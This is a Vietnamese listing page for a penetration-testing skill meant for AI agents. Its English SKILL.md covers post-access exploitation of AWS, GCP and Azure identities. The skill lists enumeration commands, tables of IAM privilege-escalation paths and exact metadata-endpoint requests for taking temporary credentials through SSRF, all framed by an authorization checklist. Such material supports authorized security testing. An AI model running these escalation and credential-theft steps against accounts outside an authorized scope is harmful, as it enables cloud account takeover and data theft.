cloud-pentest
Skill này làm gì
Skill này dạy agent cách kiểm tra quyền của một danh tính cloud mà người kiểm thử đã có. Skill bao gồm liệt kê những gì danh tính có thể truy cập và tìm đường leo thang đặc quyền, bắt đầu bằng các bước chỉ đọc.
Khi nào nên dùng
- ✓Khi người kiểm thử có khóa truy cập cloud hoặc token metadata và cần biết chúng cho phép gì.
- ✓Khi người kiểm thử cần kiểm tra xem một danh tính cloud có thể giành thêm quyền không.
- ✓Khi người kiểm thử cần cho thấy tác động thật của quyền truy cập cloud mà không chạm vào dữ liệu khách hàng.
Liên kết skill
https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/cloud-pentest/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Tôi có một khóa truy cập AWS nằm trong phạm vi kiểm thử này. Hãy giúp tôi xem danh tính này làm được gì, bắt đầu bằng thao tác chỉ đọc.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent trước tiên xác định danh tính bằng một lệnh chỉ đọc, rồi liệt kê quyền của nó. Agent kiểm tra các đường leo thang đã biết và chứng minh tác động bằng một đối tượng thử vô hại thay vì dữ liệu khách hàng.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
CLOUD PENTEST — Post-Access Exploitation
Recon finds the door; this is what you do inside. A leaked
AKIA...key or a metadata token is not a finding on its own — the finding is what that identity can DO. Enumerate the identity, find the privesc path, prove real impact. Never touch data you're not authorized to.
AUTHORIZATION FIRST
[ ] Target cloud account/subscription is explicitly in scope
[ ] You have written authorization (program scope, engagement doc)
[ ] Read-only enumeration before ANY state change
[ ] No exfil of real customer data — prove access with a benign canary/own-account object
[ ] Discovered accounts/roles you can pivot to are NOT auto-authorized — confirm scope
Stop here if any box is unchecked.
0. IDENTIFY THE IDENTITY (do this first, always)
| You have | First call | Tells you |
|---|---|---|
| AWS keys | aws sts get-caller-identity |
account id, principal ARN, user vs role |
| AWS metadata | curl .../iam/security-credentials/<role> |
temp creds + role name |
| GCP SA JSON / token | gcloud auth ... / curl metadata ...token |
project, service account, scopes |
| Azure token / MI | IMDS .../identity/oauth2/token |
tenant, object id, resource access |
Never assume privilege. Enumerate what this identity actually has before planning.
1. AWS — ENUMERATE THEN ESCALATE
Enumerate (read-only):
aws sts get-caller-identity
aws iam get-account-authorization-details 2>/dev/null # full policy dump if allowed
aws iam list-attached-user-policies --user-name <u>
aws iam list-role-policies / list-attached-role-policies
# No IAM read? Brute the effective perms with enumerate-iam / then map with a policy tool
Classic privesc paths (need the matching permission):
| Permission held | Escalation |
|---|---|
iam:CreatePolicyVersion |
Write a new default *:* version onto an attached policy |
iam:PassRole + ec2:RunInstances / lambda:CreateFunction |
Launch compute AS an admin role |
iam:AttachUserPolicy / PutUserPolicy |
Attach AdministratorAccess to yourself |
sts:AssumeRole (over-broad trust) |
Assume a more privileged role |
iam:CreateAccessKey on another user |
Mint keys for a privileged user |
lambda:UpdateFunctionCode on privileged fn |
Run code with the function's role |
iam:UpdateAssumeRolePolicy |
Rewrite trust policy to let you assume it |
Impact proof (benign): list a bucket you were told is in scope, sts assume-role into the admin role and get-caller-identity to show the new ARN, or read a canary object. Don't touch real PII.
2. METADATA (IMDS) — SSRF LANDS HERE
IMDSv1 (no token): GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
IMDSv2 (token): PUT .../latest/api/token (X-aws-ec2-metadata-token-ttl-seconds: 21600)
then GET with X-aws-ec2-metadata-token: <token>
GCP: GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
header: Metadata-Flavor: Google
Azure: GET http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
header: Metadata: true
Got temp creds → jump to section 1 (AWS) / 3 (GCP) / 4 (Azure) and enumerate what THAT role can do. SSRF alone is Medium; SSRF → metadata creds → data/admin is Critical.
3. GCP — IMPERSONATION IS THE PIVOT
gcloud auth activate-service-account --key-file=sa.json # or use the token
gcloud projects get-iam-policy <project>
gcloud iam service-accounts list
| Permission | Escalation |
|---|---|
iam.serviceAccounts.getAccessToken / actAs |
Impersonate a higher-priv SA (--impersonate-service-account) |
iam.serviceAccountKeys.create |
Mint a key for a privileged SA |
iam.roles.update on a custom role you hold |
Add permissions to yourself |
cloudfunctions.functions.update / deploy |
Run code as the function's SA |
storage.objects.get on a sensitive bucket |
Read secrets/state |
Owner/Editor at project level = effectively admin. Check for the default Compute SA having Editor — extremely common.
4. AZURE — MANAGED IDENTITY & RBAC
az account show
az role assignment list --assignee <objectId> --all
az resource list
| Path | Escalation |
|---|---|
| Managed identity with Contributor | Deploy/modify resources, run commands on VMs (az vm run-command) |
Microsoft.Authorization/*/write |
Assign yourself Owner |
Câu hỏi thường gặp
Agent có thay đổi gì trên cloud không?
Skill nói phải liệt kê ở chế độ chỉ đọc trước mọi thay đổi trạng thái, và xác nhận phạm vi trước.
Có nên dùng dữ liệu khách hàng làm bằng chứng không?
Không. Skill nói phải chứng minh quyền truy cập bằng một canary vô hại hoặc đối tượng của chính người kiểm thử.
Một khóa bị rò rỉ có phải là phát hiện tự thân không?
Không. Skill nói phát hiện nằm ở việc danh tính đó có thể làm gì.
Chi tiết
Mô tả gốc của tác giả
Post-access cloud exploitation for AWS, GCP, and Azure — what to do AFTER you obtain credentials or reach a metadata endpoint. Covers IAM enumeration and privilege escalation (iam:PassRole, CreatePolicyVersion, AssumeRole chains, GCP service-account impersonation, Azure managed-identity abuse), IMDSv1/v2 metadata credential theft, STS token abuse, S3/GCS/Blob bucket takeover and object exfil, Lambda/Cloud Functions env-var secrets, cross-account and cross-service pivoting, and turning leaked keys into demonstrated impact (read PII, assume admin, exfil data). Assumes authorized scope only. Use
Độ phổ biến
- Sao GitHub
- 5.5k
- Vị trí xếp hạng
- #14787
- Giấy phép
- MIT
- Cập nhật
- 28/10/2026
Bình luận
- …
Thêm skill từ kho mã này
bug-bounty
5.5kGiúp agent của bạn lên kế hoạch cho một đợt rà soát bug bounty theo từng giai đoạn, từ kiểm tra phạm vi chương trình và lập bản đồ tài sản đến thử nghiệm các manh mối, xác nhận tác động và viết báo cáo.
agentic-app-audit
5.5kGiúp agent của bạn rà soát từ bên ngoài một trợ lý AI đang chạy thật, tìm các rủi ro như lệnh gọi công cụ bị chiếm quyền, bộ nhớ bị nhiễm độc và hành động dùng quyền cao hơn người dùng.
argus
5.5kGiúp agent của bạn chạy sáu bộ quét tự động cho các lỗi phổ biến của ứng dụng web và AI, như chia sẻ tài nguyên chéo nguồn quá mở, điểm yếu JWT và lỗi mù được xác nhận ngoài băng.
bb-methodology
5.5kGiúp agent của bạn lên kế hoạch một phiên bug bounty theo từng giai đoạn, chọn bước tiếp theo và các kiểm tra phù hợp, rồi loại bỏ những ý tưởng không thể gây hại thật.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.